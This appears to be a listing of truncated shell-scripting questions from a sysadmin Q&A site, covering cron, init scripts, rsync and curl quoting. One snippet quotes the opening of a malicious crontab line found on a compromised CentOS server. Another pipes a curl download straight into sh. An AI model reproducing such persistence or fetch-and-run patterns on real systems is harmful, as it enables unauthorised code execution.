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How to watch for arrivng files if inotifywait unavailable?

I have a directory that gets written to when other machines send files via FTP. I want to put something in place that notices when files arrive and if their file name contains a particular substring (like "jpg"), move the file to some other…
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Init script has permissions issues, but running with /bin/sh resolves them?

Can someone tell me what's going on here? As far as I knew, these ways of executing an init script are identical. box:~# whoami root box:~# /etc/init.d/nginx restart nginx: [emerg] open() "/var/run/nginx.pid" failed (13: Permission denied) nginx:…
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how to remove ^m symbol

I need to compile Qt under Debian 64-bit. I downloaded sources but there is ^M symbol everywhere in every file in the end of lines and bash doesnt run configure script. How to remove it from all files in qt sources? Thanks.
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FreeBSD rc.d script doesn't work when starting up

I am trying to write a rc.d script to startup the fastcgi-mono-server4 on FreeBSD when the computer starts up - in order to run it with nginx. The script works when I execute it while being logged in on the server - but when booting I get the…
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executing a sh script from the cron

I have a test.sh script #!/bin/sh php /home/v/file.php sh /root/x/some.sh when I execute the file as root from command line it works. sh /home/v/test.sh when I set it to crontab -e (is the root cron), is not working * * * * * sh…
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Cron Permission Denied

good day, I have a bash script in my home directory that works properly from the command line (file structure is default media temple DV. < noted for certain permission issues) but receive this error from cron: "/home/myFile.sh: line 2:…
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Compromised CentOS 6.10 server

I am working on a compromised server. CentOS 6.10 with [kthreadd] taking up most of the CPU. Old crontab deleted, and the following content put in place: */4 * * * * R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v…
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Shell script prevent switching to other shell or escape from it

If in my automation script, I need to do something like install oh-my-zsh, I will have a .sh script like this: #!/bin/sh runuser -l user -c 'sh -c "$(curl -fsSL…
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Why are psql commands in my script suddenly being killed by jenkins / hudson?

I have an existing jenkins job that kicks off a shell script to copy my prod environment into qa. We added a lot of data to prod (gzip dump went from 2gig to 15gig) and all of the sudden my jenkins jobs started failing. We are running postgres 9.5…
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Set alias from sh script in ESXi 6

I have created a simple script to setup an alias on an ESXi 6.7 host: #!/bin/sh alias ll="ls -la" echo "Profile done" When I run the script I see the echo'd message on screen, but the alias is not set. But if I execute the alias command from a…
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How to escape double quotes and exclamation mark in password?

I have the following code: curl -s --insecure -H "Content-Type: application/json" -X POST -d "{\"username\":\"$1\",\"password\":\"$2\"}" http://apiurl In the above curl command I want to escape the " and ! in the password. I have modified the curl…
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After launching .sh script appearing 'must be connected to a terminal'

i have a short bash script which can run a file. When im trying to start this by "x.sh start", there is appearing a warning 'must be connected to a terminal'. How to start this? I tried some configs of chmods. This script is in /usr/local/bin Im now…
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Hundreds of zombie sh processes spawn then die

I have a few Ubuntu Server 14.04.03 LTS boxes that will occasionally spawn hundreds of zombie sh processes. This process spike will be picked up by the monitoring system, and send an alert. I found out that the process spike was sh zombie procs by…
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script to count the occurence of the particular string in the given time interval

We are trying to write a script "sendemail.sh" to count the number of occurrence of a particular string in a log file "SendEmail.log" within the given interval. We have a log file. In that we are searching for a pattern "ReqInputMsgLog" and need to…
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Multiple spaces in folders and files for rsync backup via /bin/bash /bin/sh

Need a one-time backup of two old messy Windows XP machines because of a company split. Using CentOS 6 x64 minimal install, i mounted some MS Windows NTFS harddrives installed locally via ntfs3g and over the LAN via smb. i need to self document…
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